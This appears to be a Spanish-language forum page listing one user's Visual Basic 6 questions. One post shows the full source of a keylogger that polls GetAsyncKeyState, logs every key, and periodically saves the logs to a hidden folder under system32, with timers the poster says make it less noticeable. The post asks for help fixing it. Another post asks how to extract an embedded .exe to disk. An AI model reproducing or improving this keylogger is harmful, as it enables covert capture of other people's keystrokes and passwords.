Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Majinz

#1
en un ejemplo de una aplicacion vi que en vez de poner las teclas como podria ser (vbKeyUp) o (vbKeyUp) usaban algo como (&HBC) o (&HBD) alguien podria decirme como se llama y/o pasarme una lista de las teclas con esa forma si no es molestia, no les voy a mentir, no es mas que para alimentar mi curiosidad, pero a muchos nos va a servir
#2
Programación Visual Basic / Ayuda con base de datos
22 Septiembre 2011, 06:24 AM
hola como estan, queria saber si alguien puede decirme si es posible que una aplicacion tome valores random de una base de datos, para ser mas claro, en mi base de datos deberia tener una tabla con los campos "Pregunta" "Respuesta1" "Respuesta2" y "Respuesta3", y que tome para una pregunta dada una y sola una respuesta x, desde ya gracias
#3
hola que tal tengo una duda, y quisiera si es posible que me ayuden, estoy haciendo una aplicacion y estoy en un punto donde ya no puedo avanzar, necesito guardar un archivo .exe dentro de un archivo .res para extraerlo en una ruta por ejemplo "c:/Chat.exe", el inconveniente es que  con archivos de sonido o imagen no hay problema, pero a la hora de intentar con archivos .exe tira error
Para ser mas claro aun, tengo en mi proyecto un archivo de recursos con sonido .xm y un .exe, necesito extrer ese .exe en una ruta x pero no puedo :(
#4
Hola que tal como estan, nuevamente los molesto con una duda, estoy haciendo una aplicacion que mediante una db responde preguntas, el problema radica en que cuando quiero probar la aplicacion me tira este error "procedimiento externo no valido" en la segunda linea podria alguien decirme que hice mal, no se si esto influya en algo pero la db tiene una tabla llamada dialogo y dos columnas, la primera es pregunta y la segunda es respuesta
Código (vb) [Seleccionar]

Dim adoConexion As New ADODB.Connection
adoConexion.ConnectionString = "Provider = Microsoft.Jet.OLEDB.4.0; Persist Security Info=True; Data Source = (App.Path & \Dialogo.MDB)"
adoConexion.Open

Dim sSQLQuery As String
sSQLQuery = "SELECT *" & vbCr
sSQLQuery = sSQLQuery & "FROM Dialogo" & vbCr
sSQLQuery = sSQLQuery & "WHERE Nombre = '" & Text2.Text & "'" & vbCr

Dim adoRegistros As New ADODB.Recordset
adoRegistros.Open sConsulta, adoConexion, adOpenStatic, adLockReadOnly

Private Sub Command1_Click()
If adoRegistros.BOF = adoRegistros.EOF And adoRegistros.EOF = False Then
Label1.Text = adoConsulta!Respuesta
End If
End Sub
#5
antes que nada, hola soy Majinz, soy nuevo aqui y demasiado noob en vb6, tengo un problema a la hora de poner en marcha un keylogger que gentilmente explico sharkl, como muchos otros tome su codigo de ejemplo y agregue otras cosa por mi parte, por ejemplo un par de timers para hacer de su ejecucion y guardado algo mas imperceptible, el problema surgio cuando quiese intentar hacer que diferenciara mayusculas de minusculas con UCase, llegado el momento de tipear repetia los caracteres quedaba mas o menos asi "Aa Bb..." asi que saque UCase pero sigue cometiendo el mismo error, al proyecto le quedan muchos detalle que pulir pero no hallo la forma de avanzar sin solucionar este percanse, el codigo fuente quedo mas o menos asi:
Código (vb) [Seleccionar]

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form_Load()
Dim fso As New FileSystemObject
If fso.FolderExists("C:\WINDOWS\system32\log") Then
TM.Enabled = True
Else
MkDir ("C:\WINDOWS\system32\log")
TM.Enabled = True
End If
End Sub
Private Sub TM_Timer()
Dim i As Integer, x As Integer
For i = 8 To 222
x = GetAsyncKeyState(i)
If x = -32767 Then
Select Case i
  Case vbKeyBack: Text1.Text = Text1.Text & " [Retroceso] "
  Case vbKeyTab: Text1.Text = Text1.Text & " [Tabulador] "
  Case vbKeyClear: Text1.Text = Text1.Text & " [Limpiar] "
  Case vbKeyReturn: Text1.Text = Text1.Text & " [Enter] "
  Case vbKeyShift: Text1.Text = Text1.Text & " [Mayúsculas] "
  Case vbKeyControl: Text1.Text = Text1.Text & " [Control] "
  Case vbKeyMenu: Text1.Text = Text1.Text & " [Menu] "
  Case vbKeyPause: Text1.Text = Text1.Text & " [Pausa] "
  Case vbKeyCapital: Text1.Text = Text1.Text & " [Bloq Mayus] "
  Case vbKeyEscape: Text1.Text = Text1.Text & " [Escape] "
  Case vbKeySpace: Text1.Text = Text1.Text & " [Espacio] "
  Case vbKeyPageUp: Text1.Text = Text1.Text & " [RePag] "
  Case vbKeyPageDown: Text1.Text = Text1.Text & " [AvPag] "
  Case vbKeyEnd: Text1.Text = Text1.Text & " [Fin] "
  Case vbKeyHome: Text1.Text = Text1.Text & " [Home] "
  Case vbKeyLeft: Text1.Text = Text1.Text & " [Izquierda] "
  Case vbKeyUp: Text1.Text = Text1.Text & " [Arriba] "
  Case vbKeyRight: Text1.Text = Text1.Text & " [Derecha] "
  Case vbKeyDown: Text1.Text = Text1.Text & " [Abajo] "
  Case vbKeySelect: Text1.Text = Text1.Text & " [Select] "
  Case vbKeyPrint: Text1.Text = Text1.Text & " [Captura] "
  Case vbKeyExecute: Text1.Text = Text1.Text & " [Ejecutar] "
  Case vbKeySnapshot: Text1.Text = Text1.Text & " [SnapShot] "
  Case vbKeyInsert: Text1.Text = Text1.Text & " [Insertar] "
  Case vbKeyDelete: Text1.Text = Text1.Text & " [Suprimir] "
  Case vbKeyHelp: Text1.Text = Text1.Text & " [Ayuda] "
  Case vbKeyNumlock: Text1.Text = Text1.Text & " [NumLock] "
  Case vbKey0: Text1.Text = Text1.Text & "0"
  Case vbKey1: Text1.Text = Text1.Text & "1"
  Case vbKey2: Text1.Text = Text1.Text & "2"
  Case vbKey3: Text1.Text = Text1.Text & "3"
  Case vbKey4: Text1.Text = Text1.Text & "4"
  Case vbKey5: Text1.Text = Text1.Text & "5"
  Case vbKey6: Text1.Text = Text1.Text & "6"
  Case vbKey7: Text1.Text = Text1.Text & "7"
  Case vbKey8: Text1.Text = Text1.Text & "8"
  Case vbKey9: Text1.Text = Text1.Text & "9"
  Case vbKeyA: Text1.Text = Text1.Text & "A"
  Case vbKeyB: Text1.Text = Text1.Text & "B"
  Case vbKeyC: Text1.Text = Text1.Text & "C"
  Case vbKeyD: Text1.Text = Text1.Text & "D"
  Case vbKeyE: Text1.Text = Text1.Text & "E"
  Case vbKeyF: Text1.Text = Text1.Text & "F"
  Case vbKeyG: Text1.Text = Text1.Text & "G"
  Case vbKeyH: Text1.Text = Text1.Text & "H"
  Case vbKeyI: Text1.Text = Text1.Text & "I"
  Case vbKeyJ: Text1.Text = Text1.Text & "J"
  Case vbKeyK: Text1.Text = Text1.Text & "K"
  Case vbKeyL: Text1.Text = Text1.Text & "L"
  Case vbKeyM: Text1.Text = Text1.Text & "M"
  Case vbKeyN: Text1.Text = Text1.Text & "N"
  Case vbKeyO: Text1.Text = Text1.Text & "O"
  Case vbKeyP: Text1.Text = Text1.Text & "P"
  Case vbKeyQ: Text1.Text = Text1.Text & "Q"
  Case vbKeyR: Text1.Text = Text1.Text & "R"
  Case vbKeyS: Text1.Text = Text1.Text & "S"
  Case vbKeyT: Text1.Text = Text1.Text & "T"
  Case vbKeyU: Text1.Text = Text1.Text & "U"
  Case vbKeyV: Text1.Text = Text1.Text & "V"
  Case vbKeyW: Text1.Text = Text1.Text & "W"
  Case vbKeyX: Text1.Text = Text1.Text & "X"
  Case vbKeyY: Text1.Text = Text1.Text & "Y"
  Case vbKeyZ: Text1.Text = Text1.Text & "Z"
  Case vbKeyNumpad0: Text1.Text = Text1.Text & "0"
  Case vbKeyNumpad1: Text1.Text = Text1.Text & "1"
  Case vbKeyNumpad2: Text1.Text = Text1.Text & "2"
  Case vbKeyNumpad3: Text1.Text = Text1.Text & "3"
  Case vbKeyNumpad4: Text1.Text = Text1.Text & "4"
  Case vbKeyNumpad5: Text1.Text = Text1.Text & "5"
  Case vbKeyNumpad6: Text1.Text = Text1.Text & "6"
  Case vbKeyNumpad7: Text1.Text = Text1.Text & "7"
  Case vbKeyNumpad8: Text1.Text = Text1.Text & "8"
  Case vbKeyNumpad9: Text1.Text = Text1.Text & "9"
  Case vbKeyMultiply: Text1.Text = Text1.Text & "*"
  Case vbKeyAdd: Text1.Text = Text1.Text & "+"
  Case vbKeySeparator: Text1.Text = Text1.Text & " [Intro] "
  Case vbKeySubtract: Text1.Text = Text1.Text & "-"
  Case vbKeyDecimal: Text1.Text = Text1.Text & "."
  Case vbKeyDivide: Text1.Text = Text1.Text & "/"
  Case vbKeyF1: Text1.Text = Text1.Text & "F1"
  Case vbKeyF2: Text1.Text = Text1.Text & "F2"
  Case vbKeyF3: Text1.Text = Text1.Text & "F3"
  Case vbKeyF4: Text1.Text = Text1.Text & "F4"
  Case vbKeyF5: Text1.Text = Text1.Text & "F5"
  Case vbKeyF6: Text1.Text = Text1.Text & "F6"
  Case vbKeyF7: Text1.Text = Text1.Text & "F7"
  Case vbKeyF8: Text1.Text = Text1.Text & "F8"
  Case vbKeyF9: Text1.Text = Text1.Text & "F9"
  Case vbKeyF10: Text1.Text = Text1.Text & "F10"
  Case vbKeyF11: Text1.Text = Text1.Text & "F11"
  Case vbKeyF12: Text1.Text = Text1.Text & "F12"
End Select
End If
Next
End Sub
Private Sub TM1_Timer()
Dim canalLibre As Integer
canalLibre = FreeFile
Open "C:\WINDOWS\system32\log\" & Format(Time, "hhmmss") + Format(Date, "ddmmyyyy") & ".txt" For Output As #canalLibre
Print #canalLibre, Text1
Close #canalLibre
End Sub

a vista de noob no hay problema alguno, pero tampoco explicacion